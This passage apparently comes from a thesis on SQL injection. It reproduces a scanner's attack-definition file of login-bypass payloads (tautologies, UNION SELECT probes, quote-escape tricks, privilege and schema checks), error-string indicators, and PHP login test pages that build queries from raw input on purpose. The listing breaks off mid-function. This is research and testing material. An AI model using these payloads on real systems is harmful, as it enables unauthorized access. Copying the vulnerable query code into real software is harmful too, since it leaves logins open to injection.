2|4^^1#|userDefined|0|Login by selecting all records (numeric password field) 
2|4 OR 1-- |userDefined|0|Login by selecting all records (numeric password field) 
2|4^^1-- |userDefined|0|Login by selecting all records (numeric password field) 
2|4 OR 1/*|userDefined|0|Login by selecting all records (numeric password field) 
2|4^^1/*|userDefined|0|Login by selecting all records (numeric password field) 
2|4/**/or/**/1#|userDefined|0|Login by selecting all records using no spaces (numeric password field) 
2|4/**/or/**/1-- |userDefined|0|Login by selecting all records using no spaces (numeric password field) 
2|4/**/or/**/1/*|userDefined|0|Login by selecting all records using no spaces (numeric password field) 
2|(4)or(1)#|userDefined|0|Login by selecting all records using no spaces and 9 characters (numeric password field) 
2|(4)or(1)-- |userDefined|0|Login by selecting all records using no spaces and 9 characters (numeric password field) 
2|(4)or(1)/*|userDefined|0|Login by selecting all records using no spaces and 9 characters (numeric password field) 
2|'or 1#|mypwd|userDefined|0|Login by selecting all records using less than 8 characters (CHAR password field) 
2|'^^1#|mypwd|userDefined|0|Login by selecting all records using less than 8 characters and no spaces (CHAR password 
field) 
2|'or(1)#|userDefined|0|Login by selecting all records using no spaces and less than 8 characters (CHAR password 
field) 
2|'or(1)-- |userDefined|0|Login by selecting all records using no spaces and less than 8 characters (CHAR password 
field) 
2|'or(1)/*|userDefined|0|Login by selecting all records using no spaces and less than 8 characters (CHAR password 
field) 
2|'or/**/1#|userDefined|0|Login by selecting all records using no spaces (CHAR password field) 
2|'or/**/1-- |userDefined|0|Login by selecting all records using no spaces (CHAR password field) 
2|'or/**/1/*|userDefined|0|Login by selecting all records using no spaces (CHAR password field) 
2|'^^1/*|userDefined|0|Login by selecting all records using no spaces (CHAR password field) 
2|'or/**/true-- |userDefined|0|Login by selecting all records using no spaces or numbers (CHAR password field) 
# 
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# what if the system is looking for the count of records returned? 
union select 1 -- |11111|userDefined|0|Login by making the record count equal 1 
' union select 1 -- |11111|userDefined|0|Login by making the record count equal 1 
') union select 1 -- |11111|userDefined|0|Login by making the record count equal 1 
union select 1#|11111|userDefined|0|Login by making the record count equal 1 
' union select 1#|11111|userDefined|0|Login by making the record count equal 1 
') union select 1#|11111|userDefined|0|Login by making the record count equal 1 
union select 1/*|11111|userDefined|0|Login by making the record count equal 1 
' union select 1/*|11111|userDefined|0|Login by making the record count equal 1 
') union select 1/* |11111|userDefined|0|Login by making the record count equal 1 
') union select 1/* |*/|userDefined|0|Login by making the record count equal 1 
# repeat for password field 
11111|union select 1 -- |userDefined|0|Login by making the record count equal 1 
11111|' union select 1 -- |userDefined|0|Login by making the record count equal 1 
11111|') union select 1 -- |userDefined|0|Login by making the record count equal 1 
11111|union select 1#|userDefined|0|Login by making the record count equal 1 
11111|' union select 1#|userDefined|0|Login by making the record count equal 1 
11111|') union select 1#|userDefined|0|Login by making the record count equal 1 
11111|union select 1/*|userDefined|0|Login by making the record count equal 1 
11111|' union select 1/*|userDefined|0|Login by making the record count equal 1 
11111|') union select 1/*|userDefined|0|Login by making the record count equal 1 
*/|') union select 1/*|userDefined|0|Login by making the record count equal 1 
#  
# try to use server-side field truncation to escape the field's terminating single quote 
\\|or 1#|userDefined|0|Login by escaping the username field's terminating single-quote character and using a true 
expression as the password. 
\\|or 1-- |userDefined|0|Login by escaping the username field's terminating single-quote character and using a true 
expression as the password. 
1111111\| or 1#|userDefined|0|Use of field truncation to 8 chars to escape the username field's terminating single-
quote 
1111111\|^^1#|userDefined|0|Use of field truncation to 8 chars to escape the username field's terminating single-
quote 
1111111\| or 1-- |userDefined|0|Use of field truncation to 8 chars to escape the username field's terminating 
single-quote 
1111111\|^^1-- |userDefined|0|Use of field truncation to 8 chars to escape the username field's terminating single-
quote 
11111111\| or 1#|userDefined|0|Use of field truncation to 9 chars to escape the username field's terminating single-
quote 
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11111111\|^^1#|userDefined|0|Use of field truncation to 9 chars to escape the username field's terminating single-
quote 
11111111\| or 1-- |userDefined|0|Use of field truncation to 9 chars to escape the username field's terminating 
single-quote 
11111111\|^^1-- |userDefined|0|Use of field truncation to 9 chars to escape the username field's terminating single-
quote 
1111111111\| or 1#|userDefined|0|Use of field truncation to 10 chars to escape the username field's terminating 
single-quote 
1111111111\|^^1#|userDefined|0|Use of field truncation to 10 chars to escape the username field's terminating 
single-quote 
1111111111\| or 1-- |userDefined|0|Use of field truncation to 10 chars to escape the username field's terminating 
single-quote 
1111111111\|^^1-- |userDefined|0|Use of field truncation to 10 chars to escape the username field's terminating 
single-quote 
11111111111\| or 1#|userDefined|0|Use of field truncation to 11 chars to escape the username field's terminating 
single-quote 
11111111111\|^^1#|userDefined|0|Use of field truncation to 11 chars to escape the username field's terminating 
single-quote 
11111111111\| or 1-- |userDefined|0|Use of field truncation to 11 chars to escape the username field's terminating 
single-quote 
11111111111\|^^1-- |userDefined|0|Use of field truncation to 11 chars to escape the username field's terminating 
single-quote 
111111111111\| or 1#|userDefined|0|Use of field truncation to 12 chars to escape the username field's terminating 
single-quote 
111111111111\|^^1#|userDefined|0|Use of field truncation to 12 chars to escape the username field's terminating 
single-quote 
111111111111\| or 1-- |userDefined|0|Use of field truncation to 12 chars to escape the username field's terminating 
single-quote 
111111111111\|^^1-- |userDefined|0|Use of field truncation to 12 chars to escape the username field's terminating 
single-quote 
# now do the same for the password field 
or 1#|1111111\|userDefined|0|Use of field truncation to 8 chars to escape the password field's terminating single-
quote 
^^1#|1111111\|userDefined|0|Use of field truncation to 8 chars to escape the password field's terminating single-
quote 
or 1-- |1111111\|userDefined|0|Use of field truncation to 8 chars to escape the password field's terminating single-
quote 
^^1-- |1111111\|userDefined|0|Use of field truncation to 8 chars to escape the password field's terminating single-
quote 
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or 1#|11111111\|userDefined|0|Use of field truncation to 9 chars to escape the password field's terminating single-
quote 
^^1#|11111111\|userDefined|0|Use of field truncation to 9 chars to escape the password field's terminating single-
quote 
or 1-- |11111111\|userDefined|0|Use of field truncation to 9 chars to escape the password field's terminating 
single-quote 
^^1-- |11111111\|userDefined|0|Use of field truncation to 9 chars to escape the password field's terminating single-
quote 
or 1#|111111111\|userDefined|0|Use of field truncation to 10 chars to escape the password field's terminating 
single-quote 
^^1#|111111111\|userDefined|0|Use of field truncation to 10 chars to escape the password field's terminating single-
quote 
or 1-- |111111111\|userDefined|0|Use of field truncation to 10 chars to escape the password field's terminating 
single-quote 
^^1-- |111111111\|userDefined|0|Use of field truncation to 10 chars to escape the password field's terminating 
single-quote 
or 1#|1111111111\|userDefined|0|Use of field truncation to 11 chars to escape the password field's terminating 
single-quote 
^^1#|1111111111\|userDefined|0|Use of field truncation to 11 chars to escape the password field's terminating 
single-quote 
or 1-- |1111111111\|userDefined|0|Use of field truncation to 11 chars to escape the password field's terminating 
single-quote 
^^1-- |1111111111\|userDefined|0|Use of field truncation to 11 chars to escape the password field's terminating 
single-quote 
or 1#|11111111111\|userDefined|0|Use of field truncation to 12 chars to escape the password field's terminating 
single-quote 
^^1#|11111111111\|userDefined|0|Use of field truncation to 12 chars to escape the password field's terminating 
single-quote 
or 1-- |11111111111\|userDefined|0|Use of field truncation to 12 chars to escape the password field's terminating 
single-quote 
^^1-- |11111111111\|userDefined|0|Use of field truncation to 12 chars to escape the password field's terminating 
single-quote 
# 
# Test for UNION SELECT vulnerability 
a' union select 1 -- |9|userDefined|0|Login using union select (CHAR username field + 1) 
a' union select 1#|9|userDefined|0|Login using union select (CHAR username field + 1) 
a' union select 1/*|9|userDefined|0|Login using union select (CHAR username field + 1) 
a' union select 1,1 -- |9|userDefined|0|Login using union select (CHAR username field + 2) 
a' union select 1,1#|9|userDefined|0|Login using union select (CHAR username field + 2) 
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a' union select 1,1/*|9|userDefined|0|Login using union select (CHAR username field + 2) 
a' union select 1,1,1 -- |9|userDefined|0|Login using union select (CHAR username field + 3) 
a' union select 1,1,1#|9|userDefined|0|Login using union select (CHAR username field + 3) 
a' union select 1,1,1/*|9|userDefined|0|Login using union select (CHAR username field + 3) 
a' union select 1,1,1,1 -- |9|userDefined|0|Login using union select (CHAR username field + 4) 
a' union select 1,1,1,1#|9|userDefined|0|Login using union select (CHAR username field + 4) 
a' union select 1,1,1,1/*|9|userDefined|0|Login using union select (CHAR username field + 4) 
a' union select 1,1,1,1,1 -- |9|userDefined|0|Login using union select (CHAR username field + 5) 
a' union select 1,1,1,1,1#|9|userDefined|0|Login using union select (CHAR username field + 5) 
a' union select 1,1,1,1,1/*|9|userDefined|0|Login using union select (CHAR username field + 5) 
a' union select 1,1,1,1,1,1 -- |9|userDefined|0|Login using union select (CHAR username field + 6) 
a' union select 1,1,1,1,1,1#|9|userDefined|0|Login using union select (CHAR username field + 6) 
a' union select 1,1,1,1,1,1/*|9|userDefined|0|Login using union select (CHAR username field + 6) 
a' union select 1,1,1,1,1,1,1 -- |9|userDefined|0|Login using union select (CHAR username field + 7) 
a' union select 1,1,1,1,1,1,1#|9|userDefined|0|Login using union select (CHAR username field + 7) 
a' union select 1,1,1,1,1,1,1/*|9|userDefined|0|Login using union select (CHAR username field + 7) 
a' union select 1,1,1,1,1,1,1,1 -- |9|userDefined|0|Login using union select (CHAR username field + 8) 
a' union select 1,1,1,1,1,1,1,1#|9|userDefined|0|Login using union select (CHAR username field + 8) 
a' union select 1,1,1,1,1,1,1,1/*|9|userDefined|0|Login using union select (CHAR username field + 8) 
1 union select 1 -- |9|userDefined|0|Login using union select (numeric username field + 1) 
1 union select 1#|9|userDefined|0|Login using union select (numeric username field + 1) 
1 union select 1/*|9|userDefined|0|Login using union select (numeric username field + 1) 
1 union select 1,1 -- |9|userDefined|0|Login using union select (numeric username field + 2) 
1 union select 1,1#|9|userDefined|0|Login using union select (numeric username field + 2) 
1 union select 1,1/*|9|userDefined|0|Login using union select (numeric username field + 2) 
1 union select 1,1,1 -- |9|userDefined|0|Login using union select (numeric username field + 3) 
1 union select 1,1,1#|9|userDefined|0|Login using union select (numeric username field + 3) 
1 union select 1,1,1/*|9|userDefined|0|Login using union select (numeric username field + 3) 
1 union select 1,1,1,1 -- |9|userDefined|0|Login using union select (numeric username field + 4) 
1 union select 1,1,1,1#|9|userDefined|0|Login using union select (numeric username field + 4) 
1 union select 1,1,1,1/*|9|userDefined|0|Login using union select (numeric username field + 4) 
1 union select 1,1,1,1,1 -- |9|userDefined|0|Login using union select (numeric username field + 5) 
1 union select 1,1,1,1,1#|9|userDefined|0|Login using union select (numeric username field + 5) 
1 union select 1,1,1,1,1/*|9|userDefined|0|Login using union select (numeric username field + 5) 
1 union select 1,1,1,1,1,1 -- |9|userDefined|0|Login using union select (numeric username field + 6) 
1 union select 1,1,1,1,1,1#|9|userDefined|0|Login using union select (numeric username field + 6) 
1 union select 1,1,1,1,1,1/*|9|userDefined|0|Login using union select (numeric username field + 6) 
1 union select 1,1,1,1,1,1,1 -- |9|userDefined|0|Login using union select (numeric username field + 7) 
1 union select 1,1,1,1,1,1,1#|9|userDefined|0|Login using union select (numeric username field + 7) 
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1 union select 1,1,1,1,1,1,1/*|9|userDefined|0|Login using union select (numeric username field + 7) 
1 union select 1,1,1,1,1,1,1,1 -- |9|userDefined|0|Login using union select (numeric username field + 8) 
1 union select 1,1,1,1,1,1,1,1#|9|userDefined|0|Login using union select (numeric username field + 8) 
1 union select 1,1,1,1,1,1,1,1/*|9|userDefined|0|Login using union select (numeric username field + 8) 
#  
# Repeat the last 48 checks to see if MySQL is connected with root privileges 
a' union select 1 from mysql.users -- |9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(CHAR username field + 1) 
a' union select 1 from mysql.users#|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select (CHAR 
username field + 1) 
a' union select 1 from mysql.users/*|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select (CHAR 
username field + 1) 
a' union select 1,1 from mysql.users -- |9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(CHAR username field + 2) 
a' union select 1,1 from mysql.users#|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select (CHAR 
username field + 2) 
a' union select 1,1 from mysql.users/*|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(CHAR username field + 2) 
a' union select 1,1,1 from mysql.users -- |9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(CHAR username field + 3) 
a' union select 1,1,1 from mysql.users#|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(CHAR username field + 3) 
a' union select 1,1,1 from mysql.users/*|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(CHAR username field + 3) 
a' union select 1,1,1,1 from mysql.users -- |9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union 
select (CHAR username field + 4) 
a' union select 1,1,1,1 from mysql.users#|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(CHAR username field + 4) 
a' union select 1,1,1,1 from mysql.users/*|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(CHAR username field + 4) 
a' union select 1,1,1,1,1 from mysql.users -- |9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union 
select (CHAR username field + 5) 
a' union select 1,1,1,1,1 from mysql.users#|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(CHAR username field + 5) 
a' union select 1,1,1,1,1 from mysql.users/*|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union 
select (CHAR username field + 5) 
a' union select 1,1,1,1,1,1 from mysql.users -- |9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union 
select (CHAR username field + 6) 
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a' union select 1,1,1,1,1,1 from mysql.users#|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union 
select (CHAR username field + 6) 
a' union select 1,1,1,1,1,1 from mysql.users/*|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union 
select (CHAR username field + 6) 
a' union select 1,1,1,1,1,1,1 from mysql.users -- |9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union 
select (CHAR username field + 7) 
a' union select 1,1,1,1,1,1,1 from mysql.users#|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union 
select (CHAR username field + 7) 
a' union select 1,1,1,1,1,1,1 from mysql.users/*|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union 
select (CHAR username field + 7) 
a' union select 1,1,1,1,1,1,1,1 from mysql.users -- |9|userDefined|0|!! MySQL connecting as ROOT !!  Login using 
union select (CHAR username field + 8) 
a' union select 1,1,1,1,1,1,1,1 from mysql.users#|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union 
select (CHAR username field + 8) 
a' union select 1,1,1,1,1,1,1,1 from mysql.users/*|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union 
select (CHAR username field + 8) 
1 union select 1 from mysql.users -- |9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(numeric username field + 1) 
1 union select 1 from mysql.users#|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select (numeric 
username field + 1) 
1 union select 1 from mysql.users/*|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(numeric username field + 1) 
1 union select 1,1 from mysql.users -- |9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(numeric username field + 2) 
1 union select 1,1 from mysql.users#|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(numeric username field + 2) 
1 union select 1,1 from mysql.users/*|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(numeric username field + 2) 
1 union select 1,1,1 from mysql.users -- |9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(numeric username field + 3) 
1 union select 1,1,1 from mysql.users#|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(numeric username field + 3) 
1 union select 1,1,1 from mysql.users/*|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(numeric username field + 3) 
1 union select 1,1,1,1 from mysql.users -- |9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(numeric username field + 4) 
1 union select 1,1,1,1 from mysql.users#|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(numeric username field + 4) 
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1 union select 1,1,1,1 from mysql.users/*|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(numeric username field + 4) 
1 union select 1,1,1,1,1 from mysql.users -- |9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union 
select (numeric username field + 5) 
1 union select 1,1,1,1,1 from mysql.users#|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(numeric username field + 5) 
1 union select 1,1,1,1,1 from mysql.users/*|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union select 
(numeric username field + 5) 
1 union select 1,1,1,1,1,1 from mysql.users -- |9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union 
select (numeric username field + 6) 
1 union select 1,1,1,1,1,1 from mysql.users#|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union 
select (numeric username field + 6) 
1 union select 1,1,1,1,1,1 from mysql.users/*|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union 
select (numeric username field + 6) 
1 union select 1,1,1,1,1,1,1 from mysql.users -- |9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union 
select (numeric username field + 7) 
1 union select 1,1,1,1,1,1,1 from mysql.users#|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union 
select (numeric username field + 7) 
1 union select 1,1,1,1,1,1,1 from mysql.users/*|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union 
select (numeric username field + 7) 
1 union select 1,1,1,1,1,1,1,1 from mysql.users -- |9|userDefined|0|!! MySQL connecting as ROOT !!  Login using 
union select (numeric username field + 8) 
1 union select 1,1,1,1,1,1,1,1 from mysql.users#|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union 
select (numeric username field + 8) 
1 union select 1,1,1,1,1,1,1,1 from mysql.users/*|9|userDefined|0|!! MySQL connecting as ROOT !!  Login using union 
select (numeric username field + 8) 
#   
# bypass authentication without using comments 
'or(1)|'or(1)|userDefined|0|Login by selecting all records using no comments or spaces (CHAR uid and password 
fields) 
(4)or(1)|(4)or(1)|userDefined|0|Login by selecting all records using no comments or spaces (numeric uid and password 
fields) 
'or(1)|(4)or(1)|userDefined|0|Login by selecting all records using no comments or spaces (CHAR uid, numeric 
password) 
(4)or(1)|'or(1)|userDefined|0|Login by selecting all records using no comments or spaces (numeric uid, CHAR 
password) 
# 
# Attempt to login in as guessable users 
admin'#|99999999|userDefined|0|Login with common username 
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admin'/*|99999999|userDefined|0|Login with common username 
admin' -- |99999999|userDefined|0|Login with common username 
demo'#|999999999|userDefined|0|Login with common username 
demo'/*|99999999|userDefined|0|Login with common username 
demo' -- |99999999|userDefined|0|Login with common username 
test'#|99999999|userDefined|0|Login with common username 
test'/*|99999999|userDefined|0|Login with common username 
test' -- |99999999|userDefined|0|Login with common username 
# 
# Test for other vulnerabilities 
# 
# If username is included in the 'bad login' message, you can query known tables 
a' union select concat(engine,version) from information_schema.tables limit 1,1 -- |mypwd|MySQLEngines|0|Possible 
schema enumeration 
1000000 union select concat(engine,version) from information_schema.tables limit 1,1 -- 
|mypwd|MySQLEngines|0|Possible schema enumeration 
 
Figure D.4 – MySQLPostAttacks.dat 
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Success Indication Files 
Most attack definitions are considered to have been successful if the supplied success 
indication string is present in the server's response to the attack.  Occasionally, one of a number 
of possibilities could indicate success.  SQLscan provides for this eventuality by supporting the 
creation of a success indication file, stored in the ‘successIndicators’ subdirectory, containing 
each possibility on a separate line.  These files can be created with any text editor and are linked 
to the attack definitions by placing the name of the file within that definition's success indication 
field.  A single success indication file can be used with any number of attack definitions. 
A small number of success indication files are used as standard by SQLscan to detect 
whether SQL injection was possible.  Three of these files store identifiable error messages, 
unique to individual database systems, which are used in the identification of the underlying 
database at the beginning of a scan.  The contents of these files are shown in Figures D.5 thru 
D.8, below.   
mysql_ 
mysqli_ 
MySQL server 
MySQL cluster 
Check the manual that corresponds to your 
ERROR 1054 (42S22): Unknown column 
# ERROR 1146 (42S02): Table 'dbname.onExistentTable' doesn't exist 
ERROR 1146 (42S02): 
ERROR 1242 (21000): Subquery returns more than 1 row 
ERROR 1241 (21000): Operand should contain 1 column(s) 
Figure D.5 – MySQL Success Indicators – used to identify the underlying database 
 
 
 
MS SQL Server 
System.Data.SqlClient.SqlException: 
SqlException 
SqlClient 
SqlCommand 
GetDataSet 
is invalid in the select list 
Figure D.6 – MS SQL Server Success Indicators – used to identify the underlying database 
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DBV- 
EXP- 
FRM- 
ORA-0 
ORA-12 
TNS- 
IMP- 
Figure D.7 – Oracle Success Indicators – used to identify the underlying database 
 
The generic success indication file contains strings whose presence in the server response 
indicate that SQL injection was successful,l without uniquely identifying the underlying database 
engine from which the error was generated.  These strings are shown in figure D.8, below. 
Stack Trace 
QueryExeption 
.hql. 
Internal Server Error 
Figure D.8 – Generic Success Indicators – used to recognise SQL Injection vulnerabilities 
 
When testing authentication forms, SQSscan must compare the result of each attack to a 
success indication string, provided by the user, which will only appear in the server's response if 
a login is successful.  The string is provided to SQLscan via the –s command-line switch.  
Should the user omit this information, SQLscan’s default values, stored in the ‘loggedIn’ success 
indication file, are used and a warning message, shown in figure D.10, is presented to the user 
and is also included in the scan’s log. 
logged in 
control panel 
dashboard 
last log 
Figure D.9 – ‘loggedIn’ - Default Authentication System Bypass Success Indicators 
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Checking for generic vulnerabilities: | 
** Microsoft SQL Server detected. ** 
 | 
WARNING: Check for successful logins impaired because no definitive 
searchphrase has been provided.  Use the -s switch to set this.  Using common 
searchphrases instead. 
 Done 
Checking for MSSQLServer vulnerabilities: Done 
Figure D.10 – Excerpt from a sample SQLscan ‘Post’ scan 
 
It should be noted that the version of SQLscan, at the time of writing, fully supports 
MySQL database servers only.   All vendor-specific success indication, and attack definition 
files are therefore incomplete. 
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Appendix E – PHP Emulation Listings 
Chapter 5 outlined the unique approaches, used by interviewees to counteract the threat 
of SQL Injection, and the means by which these were emulated in a PHP / MySQL environment.  
This appendix contains the source listings for each such emulation, and the generic test template, 
upon which emulations were based. 
<html> 
<head> 
  <title>Classic approach to SQL Authentication</title> 
</head> 
<body> 
<? 
error_reporting(7); 
$db_verbose = true; 
$db_die_on_fail = true; 
if (!empty($_request['pass'])) { 
  //RESPONDER 
  if (sqlconnect()) { 
    authenticateuser(); 
    mysql_close(); 
  } 
  //END OF RESPONDER 
} else { 
  ?> 
  <form id="loginForm" method="post" action="<?=$PHP_SELF?>"> 
  Username: <input name="user" type="text" value="" /> or User ID: <input 
                        name="id" type="text" value="" /> 
  <br/>Password: <input name="pass" type="password" value="" /> 
  <br/><input type="submit" name="submit" id="submit" value="Log in" /> 
  </form> 
  <? 
} 
?> 
</body> 
</html> 
 
<? 
function authenticateuser() { 
  if (empty($_request['id'])) { 
    $sql = "SELECT uid, pwd FROM users WHERE uid='" . $_request['user'] . "' 
AND 
           pwd='" . $_request['pass'] . "'"; 
  } else { 
    $sql = "SELECT uid, pwd FROM users WHERE id=" . $_request['id'] . " AND 
           pwd='" . $_request['pass'] . "'"; 
  } 
  $query = sqlquery($sql, true); 
  if (mysql_num_rows($query) > 0) { 
    echo "You are logged in."; 
  } else { 
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    echo "Login failed.<br/><br/><a href=\"javascript:history.back(1);\">Try 
                                         again</a>"; 
  } 
  return; 
} 
 
 
function sqlconnect() { 
  global $db_die_on_fail, $db_verbose; 
  $dbhost = "localhost"; 
  $dbname = "intranet"; 
  $dbuser = "username"; 
  $dbpass = "password"; 
  if (! $dbconn = mysql_pconnect($dbhost, $dbuser, $dbpass)) { 
    if ($db_verbose) { 
      echo "<h2>Can't connect to $dbHost as $dbUser</h2>"; 
      echo "<p><b>MySQL Error</b>: ", mysql_error(); 
    } else { 
      echo "<h2>Database error encountered</h2>"; 
    } 
    if ($db_die_on_fail) { 
      echo "<p>This script cannot continue, terminating."; 
      die(); 
    } 
    return(false); 
  } 
  if (! mysql_select_db($dbname)) { 
    if ($db_verbose) { 
      echo "<h2>Can't select database $dbName</h2>"; 
      echo "<p><b>MySQL Error</b>: ", mysql_error(); 
    } else { 
      echo "<h2>Database error encountered</h2>"; 
    } 
    if ($db_die_on_fail) { 
      echo "<p>This script cannot continue, terminating."; 
      die(); 
    } 
    return(false); 
  } 
  return(true); 
} 
 
 
function sqlquery($query, $debug=false, $die_on_debug=false, $silent=false) { 
  global $db_die_on_fail, $db_verbose; 
  if ($debug) { 
    echo "<pre>" . htmlspecialchars($query) . "</pre>"; 
    if ($die_on_debug) die; 
  } 
  $qid = mysql_query($query); 
  if (! $qid && ! $silent) { 
    if ($db_verbose) { 
      echo "<h2>Can't execute query</h2>"; 
      echo "<pre>" . htmlspecialchars($query) . "</pre>"; 
      echo "<p><b>MySQL Error</b>: ", mysql_error(); 
    } else { 
      echo "<h2>Database error encountered</h2>"; 
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    } 
    if ($db_die_on_fail) { 
      echo "<p>This script cannot continue, terminating."; 
      die(); 
    } 
  } 
  return($qid); 
} 
?> 
Figure E.1 – Generic test  page template 
 
    1 <html> 
    2 <head> 
    3   <title>Approach A</title> 
    4 </head> 
    5 <style> 
    6 body { 
    7     background-color: gray; 
    8 } 
    9 h1 { 
   10     margin: 0px; 
   11     padding: 5px 0px 5px 0px; 
   12 } 
   13 #header { 
   14     width: 98%; 
   15     height: 70px; 
   16     margin: 0px; 
   17     padding: 10px; 
   18         background-color: white; 
   19 } 
   20 #leftcol { 
   21     position: absolute; 
   22     left: 8px; 
   23         top: 100px; 
   24     width: 48%; 
   25     height: 90%; 
   26     padding: 10px; 
   27     margin: 0; 
   28         background-color: white; 
   29 } 
   30 #rightcol { 
   31     position: absolute; 
   32     left: 50.5%; 
   33         top: 100px; 
   34     width: 47%; 
   35     height: 90%; 
   36     padding: 10px; 
   37     margin: 0; 
   38         background-color: white; 
   39 } 
   40 </style> 
   41 <body> 
   42   <div id="header"> 
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   43     <h1>Approach A</h1> 
   44   </div> 
   45   <div id="leftcol"> 
   46     <? 
   47     error_reporting(7); 
   48     $db_verbose = true; 
   49     $db_die_on_fail = true; 
   50     if (!empty($_request['pass'])) { 
   51       //RESPONDER 
   52       if (sqlconnect()) { 
   53         authenticateuser(); 
   54         mysql_close(); 
   55       } 
   56       //END OF RESPONDER 
   57     } else { 
   58       ?> 
   59           <form id="loginForm" method="post" action="<?=$PHP_SELF?>"> 
   60           Username: <input name="user" type="text" value="" />   
   61           or User ID: <input name="id" type="text" value="" /> 
   62           <br/>Password: <input name="pass" type="password" value="" /> 
   63           <br/>  
   64           <input type="submit" name="submit" id="submit" value="Log in" 
/> 
   65           </form> 
   66       <? 
   67     } 
   68     ?> 
   69   </div> 
   70   <div id="rightcol"> 
   71     <strong>Verbose Error Messages:</strong> Yes<br/> 
   72     <strong>Login Attempts:</strong> Unlimited<br/> 
   73     <strong>SQL Queries:</strong> Inline<br/> 
   74     <strong>string Validation Method:</strong> Blacklist:<br/> 
   75     <p> 
   76     Disallowed characters: 
   77     <ul> 
   78       <li>0x</li> 
   79       <li>Single quotes</li> 
   80       <li>[ and ]</li> 
   81       <li>;</li> 
   82       <li>-</li> 
   83       <li>%</li> 
   84       <li>\</li> 
   85     </ul> 
   86     <strong>Numeric Field Validation Method:</strong> Server-side 
   87     truncation to 8 characters.<br/> 
   88     </p> 
   89   </div> 
   90 </body> 
   91 </html> 
   92  
   93 <? 
   94 function authenticateuser() { 
   95   if (empty($_request['id'])) { 
   96     $sql = "SELECT uid, pwd FROM users WHERE uid='"   
            . sqlsafe($_request['user']) . "' AND pwd='" 
   97       . sqlsafe($_request['pass']) . "'"; 
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   98   } else { 
   99     $sql = "SELECT uid, pwd FROM users WHERE id=" 
               . substr($_request['id'], 0, 8) 
  100          . " AND pwd='" . sqlsafe($_request['pass']) . "'"; 
  101   } 
  102   $query = sqlquery($sql, true); 
  103   if (mysql_num_rows($query) > 0) { 
  104     echo "You are logged in."; 
  105   } else { 
  106     echo "Login failed.<br/><br/> 
  107       <a href=\"javascript:history.back(1);\">Try again</a>"; 
  108   } 
  109   return; 
  110 } 
  111  
  112 function sqlsafe($sql) { 
  113   $search = str_replace("0x", "", preg_replace("'[\';\-%\\\\]'", "", 
  114             stripslashes($sql))); 
  115   return($search); 
  116 } 
  117  
  118  
  119 function sqlconnect() { 
  120   global $db_die_on_fail, $db_verbose; 
  121   $dbhost = "localhost"; 
  122   $dbname = "intranet"; 
  123   $dbuser = "username"; 
  124   $dbpass = "password"; 
  125   if (! $dbconn = mysql_pconnect($dbhost, $dbuser, $dbpass)) { 
  126     if ($db_verbose) { 
  127       echo "<h2>Can't connect to $dbHost as $dbUser</h2>"; 
  128       echo "<p><b>MySQL Error</b>: ", mysql_error(); 
  129     } else { 
  130       echo "<h2>Database error encountered</h2>"; 
  131     } 
  132     if ($db_die_on_fail) { 
  133       echo "<p>This script cannot continue, terminating."; 
  134       die(); 
  135     } 
  136     return(false); 
  137   } 
  138   if (! mysql_select_db($dbname)) { 
  139     if ($db_verbose) { 
  140       echo "<h2>Can't select database $dbName</h2>"; 
  141       echo "<p><b>MySQL Error</b>: ", mysql_error(); 
  142     } else { 
  143       echo "<h2>Database error encountered</h2>"; 
  144     } 
  145     if ($db_die_on_fail) { 
  146       echo "<p>This script cannot continue, terminating."; 
  147       die(); 
  148     } 
  149     return(false); 
  150   } 
  151   return(true); 
  152 } 
  153  
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  154  
  155 function sqlquery($query, $debug=false, $die_on_debug=false,  
        $silent=false) 
  156                   { 
  157   global $db_die_on_fail, $db_verbose; 
  158   if ($debug) { 
  159     echo "<pre>" . htmlspecialchars($query) . "</pre>"; 
  160     if ($die_on_debug) die; 
  161   } 
  162   $qid = mysql_query($query); 
  163   if (! $qid && ! $silent) { 
  164     if ($db_verbose) { 
  165       echo "<h2>Can't execute query</h2>"; 
  166       echo "<pre>" . htmlspecialchars($query) . "</pre>"; 
  167       echo "<p><b>MySQL Error</b>: ", mysql_error(); 
  168     } else { 
